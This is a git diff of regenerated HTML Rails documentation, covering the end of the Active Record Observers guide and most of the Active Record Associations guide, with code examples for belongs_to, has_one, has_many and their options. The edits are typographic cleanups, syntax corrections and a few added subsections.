If you paid attention, you may be wondering where Active Record Observers are referenced in our applications, so they get instantiated and begin to interact with our models. For observers to work we need to register them somewhere. The usual place to do that is in our application’s config/environment.rb file. In this file there is a commented-out line where we can define the observers that our application should load at start-up.

+
+
+
# Activate observers that should always be running
+config.active_record.observers = :registration_observer, :auditor
+

You can uncomment the line with config.active_record.observers and change the symbols for the name of the observers that should be registered.

+

It’s also possible to register callbacks in any of the files living at config/environments/, if you want an observer to work only in a specific environment. There is not a config.active_record.observers line at any of those files, but you can simply add it.

+

13.2. Where to put the observers' source files

+

By convention, you should always save your observers' source files inside app/models.

+
+

14. Changelog

+
+ +

January 9, 2009: Initial version by Cássio Marques

- - + + diff --git a/vendor/rails/railties/doc/guides/html/association_basics.html b/vendor/rails/railties/doc/guides/html/association_basics.html index 9159eaab..bfe8f3f3 100644 --- a/vendor/rails/railties/doc/guides/html/association_basics.html +++ b/vendor/rails/railties/doc/guides/html/association_basics.html @@ -1,276 +1,108 @@ - - A Guide to Active Record Associations - - - - - + + A Guide to Active Record Associations + + + + - +

Deleting a customer and all of its orders is much easier:

-
@customer.destroy
-
-

To learn more about the different types of associations, read the next section of this Guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.

+
@customer.destroy
+

To learn more about the different types of associations, read the next section of this Guide. That’s followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.

2. The Types of Associations

-

In Rails, an association is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model belongs_to another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:

-
    +

    In Rails, an association is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model belongs_to another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:

    +
    • belongs_to @@ -390,9 +216,9 @@ http://www.gnu.org/software/src-highlite -->

    -

    In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.

    +

    In the remainder of this guide, you’ll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.

    2.1. The belongs_to Association

    -

    A belongs_to association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:

    +

    A belongs_to association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you’d declare the order model this way:

    class Order < ActiveRecord::Base
       belongs_to :customer
    -end
    -
    -

    +end

+

belongs_to Association Diagram

2.2. The has_one Association

-

A has_one association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:

+

A has_one association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you’d declare the supplier model like this:

class Supplier < ActiveRecord::Base
   has_one :account
-end
-
-

+end

+

has_one Association Diagram

2.3. The has_many Association

-

A has_many association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a belongs_to association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:

+

A has_many association indicates a one-to-many connection with another model. You’ll often find this association on the "other side" of a belongs_to association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:

class Customer < ActiveRecord::Base
   has_many :orders
-end
-
+end
@@ -438,11 +261,11 @@ http://www.gnu.org/software/src-highlite --> The name of the other model is pluralized when declaring a has_many association.
-

+

has_many Association Diagram

2.4. The has_many :through Association

-

A has_many :through association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding through a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:

+

A has_many :through association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding through a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:

class Patient < ActiveRecord::Base has_many :appointments has_many :physicians, :through => :appointments -end -
-

+end

+

has_many :through Association Diagram

-

The has_many :through association is also useful for setting up "shortcuts" through nested :has_many associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:

+

The has_many :through association is also useful for setting up "shortcuts" through nested :has_many associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:

class Paragraph < ActiveRecord::Base belongs_to :section -end -
+end

2.5. The has_one :through Association

-

A has_one :through association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding through a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:

+

A has_one :through association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding through a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:

class AccountHistory < ActiveRecord::Base belongs_to :account -end -
-

+end

+

has_one :through Association Diagram

2.6. The has_and_belongs_to_many Association

-

A has_and_belongs_to_many association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:

+

A has_and_belongs_to_many association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:

class Part < ActiveRecord::Base has_and_belongs_to_many :assemblies -end -
-

+end

+

has_and_belongs_to_many Association Diagram

2.7. Choosing Between belongs_to and has_one

-

If you want to set up a 1-1 relationship between two models, you'll need to add belongs_to to one, and has_one to the other. How do you know which is which?

-

The distinction is in where you place the foreign key (it goes on the table for the class declaring the belongs_to association), but you should give some thought to the actual meaning of the data as well. The has_one relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:

+

If you want to set up a 1-1 relationship between two models, you’ll need to add belongs_to to one, and has_one to the other. How do you know which is which?

+

The distinction is in where you place the foreign key (it goes on the table for the class declaring the belongs_to association), but you should give some thought to the actual meaning of the data as well. The has_one relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:

class Account < ActiveRecord::Base belongs_to :supplier -end -
-

The corresponding migration might look like this:

+end +

The corresponding migration might look like this:

drop_table :accounts drop_table :suppliers end -end -
+end
@@ -579,7 +396,7 @@ http://www.gnu.org/software/src-highlite -->

2.8. Choosing Between has_many :through and has_and_belongs_to_many

-

Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use has_and_belongs_to_many, which allows you to make the association directly:

+

Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use has_and_belongs_to_many, which allows you to make the association directly:

class Part < ActiveRecord::Base has_and_belongs_to_many :assemblies -end -
-

The second way to declare a many-to-many relationship is to use has_many :through. This makes the association indirectly, through a join model:

+end +

The second way to declare a many-to-many relationship is to use has_many :through. This makes the association indirectly, through a join model:

class Part < ActiveRecord::Base has_many :manifests has_many :assemblies, :through => :manifests -end -
-

The simplest rule of thumb is that you should set up a has_many :through relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a has_and_belongs_to_many relationship (though you'll need to remember to create the joining table).

-

You should use has_many :through if you need validations, callbacks, or extra attributes on the join model.

+end +

The simplest rule of thumb is that you should set up a has_many :through relationship if you need to work with the relationship model as an independent entity. If you don’t need to do anything with the relationship model, it may be simpler to set up a has_and_belongs_to_many relationship (though you’ll need to remember to create the joining table).

+

You should use has_many :through if you need validations, callbacks, or extra attributes on the join model.

2.9. Polymorphic Associations

-

A slightly more advanced twist on associations is the polymorphic association. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:

+

A slightly more advanced twist on associations is the polymorphic association. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here’s how this could be declared:

class Product < ActiveRecord::Base has_many :pictures, :as => :imageable -end -
-

You can think of a polymorphic belongs_to declaration as setting up an interface that any other model can use. From an instance of the Employee model, you can retrieve a collection of pictures: @employee.pictures. Similarly, you can retrieve @product.pictures. If you have an instance of the Picture model, you can get to its parent via @picture.imageable. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:

+end +

You can think of a polymorphic belongs_to declaration as setting up an interface that any other model can use. From an instance of the Employee model, you can retrieve a collection of pictures: @employee.pictures. Similarly, you can retrieve @product.pictures. If you have an instance of the Picture model, you can get to its parent via @picture.imageable. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:

def self.down drop_table :pictures end -end -
-

This migration can be simplified by using the t.references form:

+end +

This migration can be simplified by using the t.references form:

def self.down drop_table :pictures end -end -
-

+end

+

Polymorphic Association Diagram

2.10. Self Joins

-

In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as manager and subordinates. This situation can be modeled with self-joining associations:

+

In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as manager and subordinates. This situation can be modeled with self-joining associations:

class Employee < ActiveRecord::Base
-  has_many :subordinates, :class_name => "User", :foreign_key => "manager_id"
-  belongs_to :manager, :class_name => "User"
-end
-
-

With this setup, you can retrieve @employee.subordinates and @employee.manager.

+ has_many :subordinates, :class_name => "Employee", :foreign_key => "manager_id" + belongs_to :manager, :class_name => "Employee" +end +

With this setup, you can retrieve @employee.subordinates and @employee.manager.

3. Tips, Tricks, and Warnings

-

Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:

-
    +

    Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:

    +
    • Controlling caching @@ -719,7 +530,7 @@ Controlling association scope

    3.1. Controlling Caching

    -

    All of the association methods are built around caching that keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:

    +

    All of the association methods are built around caching that keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:

    customer.orders                 # retrieves orders from the database
     customer.orders.size            # uses the cached copy of orders
    -customer.orders.empty?          # uses the cached copy of orders
    -
    -

    But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass true to the association call:

    +customer.orders.empty? # uses the cached copy of orders
+

But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass true to the association call:

customer.orders                 # retrieves orders from the database
 customer.orders.size            # uses the cached copy of orders
-customer.orders(true).empty?    # discards the cached copy of orders and goes back to the database
-
+customer.orders(true).empty? # discards the cached copy of orders and goes back to the database

3.2. Avoiding Name Collisions

-

You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of ActiveRecord::Base. The association method would override the base method and break things. For instance, attributes or connection are bad names for associations.

+

You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of ActiveRecord::Base. The association method would override the base method and break things. For instance, attributes or connection are bad names for associations.

3.3. Updating the Schema

-

Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things. First, you need to create foreign keys as appropriate:

+

Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For belongs_to associations you need to create foreign keys, and for has_and_belongs_to_many associations you need to create the appropriate join table.

+

3.3.1. Creating Foreign Keys for belongs_to Associations

+

When you declare a belongs_to association, you need to create foreign keys as appropriate. For example, consider this model:

class Order < ActiveRecord::Base
   belongs_to :customer
-end
-
-

This declaration needs to be backed up by the proper foreign key declaration on the orders table:

+end +

This declaration needs to be backed up by the proper foreign key declaration on the orders table:

class CreateOrders < ActiveRecord::Migration
   def self.up
     create_table :orders do |t|
-      t.order_date   :datetime
-      t.order_number :string
-      t.customer_id  :integer
+      t.datetime   :order_date
+      t.string     :order_number
+      t.integer    :customer_id
     end
   end
 
   def self.down
     drop_table :orders
   end
-end
-
-

If you create an association some time after you build the underlying model, you need to remember to create an add_column migration to provide the necessary foreign key.

-

Second, if you create a has_and_belongs_to_many association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the :join_table option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.

+end +

If you create an association some time after you build the underlying model, you need to remember to create an add_column migration to provide the necessary foreign key.

+

3.3.2. Creating Join Tables for has_and_belongs_to_many Associations

+

If you create a has_and_belongs_to_many association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the :join_table option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.

@@ -782,7 +592,7 @@ http://www.gnu.org/software/src-highlite --> The precedence between model names is calculated using the < operator for String. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers".
-

Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:

+

Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:

class Part < ActiveRecord::Base has_and_belongs_to_many :assemblies -end -
-

These need to be backed up by a migration to create the assemblies_parts table. This table should be created without a primary key:

+end +

These need to be backed up by a migration to create the assemblies_parts table. This table should be created without a primary key:

def self.down drop_table :assemblies_parts end -end -
+end

3.4. Controlling Association Scope

-

By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:

+

By default, associations look for objects only within the current module’s scope. This can be important when you declare Active Record models within a module. For example:

belongs_to :supplier end end -end -
-

This will work fine, because both the Supplier and the Account class are defined within the same scope. But this will not work, because Supplier and Account are defined in different scopes:

+end +

This will work fine, because both the Supplier and the Account class are defined within the same scope. But this will not work, because Supplier and Account are defined in different scopes:

belongs_to :supplier end end -end -
-

To associate a model with a model in a different scope, you must specify the complete class name in your association declaration:

+end +

To associate a model with a model in a different scope, you must specify the complete class name in your association declaration:

belongs_to :supplier, :class_name => "MyApplication::Business::Supplier" end end -end -
+end

4. Detailed Association Reference

-

The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.

+

The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.

4.1. The belongs_to Association

-

The belongs_to association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use has_one instead.

+

The belongs_to association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use has_one instead.

4.1.1. Methods Added by belongs_to

-

When you declare a belongs_to assocation, the declaring class automatically gains five methods related to the association:

-
    +

    When you declare a belongs_to assocation, the declaring class automatically gains five methods related to the association:

    +
    • association(force_reload = false) @@ -909,7 +714,7 @@ http://www.gnu.org/software/src-highlite -->

    -

    In all of these methods, association is replaced with the symbol passed as the first argument to belongs_to. For example, given the declaration:

    +

    In all of these methods, association is replaced with the symbol passed as the first argument to belongs_to. For example, given the declaration:

    class Order < ActiveRecord::Base
       belongs_to :customer
    -end
    -
    -

    Each instance of the order model will have these methods:

    +end
+

Each instance of the order model will have these methods:

customer= customer.nil? build_customer -create_customer -
+create_customer
association(force_reload = false)
-

The association method returns the associated object, if any. If no associated object is found, it returns nil.

+

The association method returns the associated object, if any. If no associated object is found, it returns nil.

-
@customer = @order.customer
-
-

If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass true as the force_reload argument.

+
@customer = @order.customer
+

If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass true as the force_reload argument.

association=(associate)
-

The association= method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.

+

The association= method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object’s foreign key to the same value.

-
@order.customer = @customer
-
+
@order.customer = @customer
association.nil?
-

The association.nil? method returns true if there is no associated object.

+

The association.nil? method returns true if there is no associated object.

if @order.customer.nil?
   @msg = "No customer found for this order"
-end
-
+end
build_association(attributes = {})
-

The build_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.

+

The build_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object’s foreign key will be set, but the associated object will not yet be saved.

-
@customer = @order.build_customer({:customer_number => 123, :customer_name => "John Doe"})
-
+
@customer = @order.build_customer({:customer_number => 123, :customer_name => "John Doe"})
create_association(attributes = {})
-

The create_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).

+

The create_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object’s foreign key will be set. In addition, the associated object will be saved (assuming that it passes any validations).

-
@customer = @order.create_customer({:customer_number => 123, :customer_name => "John Doe"})
-
+
@customer = @order.create_customer({:customer_number => 123, :customer_name => "John Doe"})

4.1.2. Options for belongs_to

-

In many situations, you can use the default behavior of belongs_to without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a belongs_to association. For example, an association with several options might look like this:

+

In many situations, you can use the default behavior of belongs_to without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a belongs_to association. For example, an association with several options might look like this:

class Order < ActiveRecord::Base
   belongs_to :customer, :counter_cache => true, :conditions => "active = 1"
-end
-
-

The belongs_to association supports these options:

-
+

The belongs_to association supports these options:

+
:class_name
-

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is Patron, you'd set things up this way:

+

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is Patron, you’d set things up this way:

class Order < ActiveRecord::Base
   belongs_to :customer, :class_name => "Patron"
-end
-
+end
:conditions
-

The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).

+

The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).

class Order < ActiveRecord::Base
   belongs_to :customer, :conditions => "active = 1"
-end
-
+end
:counter_cache
-

The :counter_cache option can be used to make finding the number of belonging objects more efficient. Consider these models:

+

The :counter_cache option can be used to make finding the number of belonging objects more efficient. Consider these models:

end class Customer < ActiveRecord::Base has_many :orders -end -
-

With these declarations, asking for the value of @customer.orders.size requires making a call to the database to perform a COUNT(*) query. To avoid this call, you can add a counter cache to the belonging model:

+end +

With these declarations, asking for the value of @customer.orders.size requires making a call to the database to perform a COUNT(*) query. To avoid this call, you can add a counter cache to the belonging model:

end class Customer < ActiveRecord::Base has_many :orders -end -
-

With this declaration, Rails will keep the cache value up to date, and then return that value in response to the .size method.

-

Although the :counter_cache option is specified on the model that includes the belongs_to declaration, the actual column must be added to the associated model. In the case above, you would need to add a column named orders_count to the Customer model. You can override the default column name if you need to:

+end +

With this declaration, Rails will keep the cache value up to date, and then return that value in response to the .size method.

+

Although the :counter_cache option is specified on the model that includes the belongs_to declaration, the actual column must be added to the associated model. In the case above, you would need to add a column named orders_count to the Customer model. You can override the default column name if you need to:

end class Customer < ActiveRecord::Base has_many :orders -end -
-

Counter cache columns are added to the containing model's list of read-only attributes through attr_readonly.

+end +

Counter cache columns are added to the containing model’s list of read-only attributes through attr_readonly.

:dependent
-

If you set the :dependent option to :destroy, then deleting this object will call the destroy method on the associated object to delete that object. If you set the :dependent option to :delete, then deleting this object will delete the associated object without calling its destroy method.

+

If you set the :dependent option to :destroy, then deleting this object will call the destroy method on the associated object to delete that object. If you set the :dependent option to :delete, then deleting this object will delete the associated object without calling its destroy method.

@@ -1118,7 +910,7 @@ http://www.gnu.org/software/src-highlite -->
:foreign_key
-

By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

+

By convention, Rails guesses that the column used to hold the foreign key on this model is the name of the association with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

class Order < ActiveRecord::Base
   belongs_to :customer, :class_name => "Patron", :foreign_key => "patron_id"
-end
-
+end
@@ -1137,7 +928,7 @@ http://www.gnu.org/software/src-highlite -->
:include
-

You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

+

You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

end class Customer < ActiveRecord::Base has_many :orders -end -
-

If you frequently retrieve customers directly from line items (@line_item.order.customer), then you can make your code somewhat more efficient by including customers in the association from line items to orders:

+end +

If you frequently retrieve customers directly from line items (@line_item.order.customer), then you can make your code somewhat more efficient by including customers in the association from line items to orders:

end class Customer < ActiveRecord::Base has_many :orders -end -
+end
- +
Note There's no need to use :include for immediate associations - that is, if you have Order belongs_to :customer, then the customer is eager-loaded automatically when it's needed.There’s no need to use :include for immediate associations - that is, if you have Order belongs_to :customer, then the customer is eager-loaded automatically when it’s needed.
:polymorphic
-

Passing true to the :polymorphic option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.

+

Passing true to the :polymorphic option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.

:readonly
-

If you set the :readonly option to true, then the associated object will be read-only when retrieved via the association.

+

If you set the :readonly option to true, then the associated object will be read-only when retrieved via the association.

:select
-

The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.

+

The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.

@@ -1194,14 +983,14 @@ http://www.gnu.org/software/src-highlite -->
:validate
-

If you set the :validate option to true, then associated objects will be validated whenever you save this object. By default, this is false: associated objects will not be validated when this object is saved.

+

If you set the :validate option to true, then associated objects will be validated whenever you save this object. By default, this is false: associated objects will not be validated when this object is saved.

4.1.3. When are Objects Saved?

-

Assigning an object to a belongs_to association does not automatically save the object. It does not save the associated object either.

+

Assigning an object to a belongs_to association does not automatically save the object. It does not save the associated object either.

4.2. The has_one Association

-

The has_one association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use belongs_to instead.

+

The has_one association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use belongs_to instead.

4.2.1. Methods Added by has_one

-

When you declare a has_one association, the declaring class automatically gains five methods related to the association:

-
+

Each instance of the Supplier model will have these methods:

account= account.nil? build_account -create_account -
+create_account
association(force_reload = false)
-

The association method returns the associated object, if any. If no associated object is found, it returns nil.

+

The association method returns the associated object, if any. If no associated object is found, it returns nil.

-
@account = @supplier.account
-
-

If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass true as the force_reload argument.

+
@account = @supplier.account
+

If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass true as the force_reload argument.

association=(associate)
-

The association= method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.

+

The association= method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object’s foreign key to the same value.

-
@suppler.account = @account
-
+
@suppler.account = @account
association.nil?
-

The association.nil? method returns true if there is no associated object.

+

The association.nil? method returns true if there is no associated object.

if @supplier.account.nil?
   @msg = "No account found for this supplier"
-end
-
+end
build_association(attributes = {})
-

The build_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.

+

The build_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will not yet be saved.

-
@account = @supplier.build_account({:terms => "Net 30"})
-
+
@account = @supplier.build_account({:terms => "Net 30"})
create_association(attributes = {})
-

The create_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).

+

The create_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set. In addition, the associated object will be saved (assuming that it passes any validations).

-
@account = @supplier.create_account({:terms => "Net 30"})
-
+
@account = @supplier.create_account({:terms => "Net 30"})

4.2.2. Options for has_one

-

In many situations, you can use the default behavior of has_one without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a has_one association. For example, an association with several options might look like this:

+

In many situations, you can use the default behavior of has_one without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a has_one association. For example, an association with several options might look like this:

class Supplier < ActiveRecord::Base
   has_one :account, :class_name => "Billing", :dependent => :nullify
-end
-
-

The has_one association supports these options:

-
+

The has_one association supports these options:

+
:as
-

Setting the :as option indicates that this is a polymorphic association. Polymorphic associations are discussed in detail later in this guide.

+

Setting the :as option indicates that this is a polymorphic association. Polymorphic associations are discussed in detail later in this guide.

:class_name
-

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you'd set things up this way:

+

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you’d set things up this way:

class Supplier < ActiveRecord::Base
   has_one :account, :class_name => "Billing"
-end
-
+end
:conditions
-

The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).

+

The :conditions option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL WHERE clause).

class Supplier < ActiveRecord::Base
   has_one :account, :conditions => "confirmed = 1"
-end
-
+end
:dependent
-

If you set the :dependent option to :destroy, then deleting this object will call the destroy method on the associated object to delete that object. If you set the :dependent option to :delete, then deleting this object will delete the associated object without calling its destroy method. If you set the :dependent option to :nullify, then deleting this object will set the foreign key in the association object to NULL.

+

If you set the :dependent option to :destroy, then deleting this object will call the destroy method on the associated object to delete that object. If you set the :dependent option to :delete, then deleting this object will delete the associated object without calling its destroy method. If you set the :dependent option to :nullify, then deleting this object will set the foreign key in the association object to NULL.

:foreign_key
-

By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

+

By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

class Supplier < ActiveRecord::Base
   has_one :account, :foreign_key => "supp_id"
-end
-
+end
@@ -1428,7 +1206,7 @@ http://www.gnu.org/software/src-highlite -->
:include
-

You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

+

You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

end class Representative < ActiveRecord::Base has_many :accounts -end -
-

If you frequently retrieve representatives directly from suppliers (@supplier.account.representative), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:

+end +

If you frequently retrieve representatives directly from suppliers (@supplier.account.representative), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:

end class Representative < ActiveRecord::Base has_many :accounts -end -
+end
:order
-

The :order option dictates the order in which associated objects will be received (in the syntax used by a SQL ORDER BY clause). Because a has_one association will only retrieve a single associated object, this option should not be needed.

+

The :order option dictates the order in which associated objects will be received (in the syntax used by a SQL ORDER BY clause). Because a has_one association will only retrieve a single associated object, this option should not be needed.

:primary_key
-

By convention, Rails guesses that the column used to hold the primary key of this model is id. You can override this and explicitly specify the primary key with the :primary_key option.

+

By convention, Rails guesses that the column used to hold the primary key of this model is id. You can override this and explicitly specify the primary key with the :primary_key option.

:readonly
-

If you set the :readonly option to true, then the associated object will be read-only when retrieved via the association.

+

If you set the :readonly option to true, then the associated object will be read-only when retrieved via the association.

:select
-

The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.

+

The :select option lets you override the SQL SELECT clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.

:source
-

The :source option specifies the source association name for a has_one :through association.

+

The :source option specifies the source association name for a has_one :through association.

:source_type
-

The :source_type option specifies the source association type for a has_one :through association that proceeds through a polymorphic association.

+

The :source_type option specifies the source association type for a has_one :through association that proceeds through a polymorphic association.

:through
-

The :through option specifies a join model through which to perform the query. has_one :through associations are discussed in detail later in this guide.

+

The :through option specifies a join model through which to perform the query. has_one :through associations are discussed in detail later in this guide.

:validate
-

If you set the :validate option to true, then associated objects will be validated whenever you save this object. By default, this is false: associated objects will not be validated when this object is saved.

+

If you set the :validate option to true, then associated objects will be validated whenever you save this object. By default, this is false: associated objects will not be validated when this object is saved.

4.2.3. When are Objects Saved?

-

When you assign an object to a has_one association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.

-

If either of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

-

If the parent object (the one declaring the has_one association) is unsaved (that is, new_record? returns true) then the child objects are not saved.

-

If you want to assign an object to a has_one association without saving the object, use the association.build method.

+

When you assign an object to a has_one association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.

+

If either of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

+

If the parent object (the one declaring the has_one association) is unsaved (that is, new_record? returns true) then the child objects are not saved.

+

If you want to assign an object to a has_one association without saving the object, use the association.build method.

4.3. The has_many Association

-

The has_many association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.

+
